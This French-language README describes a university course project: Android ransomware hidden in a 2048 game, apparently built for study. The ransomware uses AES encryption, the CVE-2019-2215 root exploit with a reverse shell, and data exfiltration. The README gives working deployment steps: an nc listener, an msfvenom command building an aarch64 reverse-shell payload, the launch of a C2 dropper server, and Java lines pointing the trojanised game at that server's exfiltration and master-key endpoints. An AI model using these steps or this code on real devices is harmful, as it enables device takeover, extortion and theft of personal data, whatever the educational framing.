
Développement de ransomware Android - chiffrement AES256 + CVE-2019-2215 (reverse shell root) + exfiltration de données
Ce projet est uniquement à des fins éducatives. Ce projet utilise du code provenant de rkshrksh/2048-Game et de kangtastic/cve-2019-2215.
Ce projet fait partie du module Sécurité Mobile du Singapore Institute of Technology. Le projet a été réalisé en 6 semaines et visait à développer une application Android malveillante. Ce faisant, cela nous a aidés à apprendre comment les mécanismes de sécurité sont implémentés dans un OS Android et comment exercer le OWASP Mobile Top 10:2017 M8 - Code Tampering.
Le projet est une preuve de concept pour présenter un ransomware personnalisé qui utilise le chiffrement AES, en exploitant la cve-2019-2215, et en exfiltrant également les données de l'appareil infecté.
Il est testé sur Android 10 et Google Pixel 2 XL.
├── 2048-Game // Dossier du projet Android
├── 2048-keystore // Keystore de test
├── cve-2019-2215 // CVE-2019-2215 modifié
│ └── cve-2019-2215.c
├── dropper_server // Répertoire du serveur dropper
│ ├── cve-2019-2215 // Contenu de shells.zip avant compression
│ ├── dropper_server.py // Programme du serveur dropper
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Binaire Netcat Windows - pour l'écouteur de shell inverse
│ ├── requirements.txt
│ ├── shells.zip // shells.zip hébergé à la racine du serveur dropper
│ └── venv
└── test_images // images_test pour faciliter adb push <image.ext> /sdcard/Pictures
Pour ce test, assurez-vous que le téléphone victime et le serveur C2 sont dans le même sous-réseau (sinon, hébergez le C2 sur Internet public). Il y a 3 endpoints pour le serveur C2 que l'on trouve dans dropper/dropper_server.py :
nc -lvnp 1337 # Idéalement, cela devrait être la même IP que le serveur dropper
# Générer le payload rs.elf
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<IP de l'attaquant> LPORT=<Port de l'attaquant> -f elf > rs.elf
# Il est préférable d'exécuter Flask sous Windows si WSL ne redirige pas le trafic localhost vers l'hôte Windows
cd dropper
python3 -m venv venv # Créer l'environnement virtuel
# Activer l'environnement virtuel
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Assurez-vous que le shell hôte est root/Administrateur
# Exécuter le serveur C2
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip dans /dropper
Classes Java
// Fichier : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Modifier l'IP et le port selon l'IP et le port du serveur dropper
String URL = "http://192.168.157.73:8080/process_command"; // Ligne 19
// Fichier : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Modifier l'IP et le port selon l'IP et le port du serveur dropper
String URL = "http://192.168.157.73:8080/get_mk"; // Ligne 45
// Fichier : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Modifier l'IP et le port selon l'IP et le port du serveur dropper
String urlString = "http://192.168.157.73:8080/postData"; // Ligne 32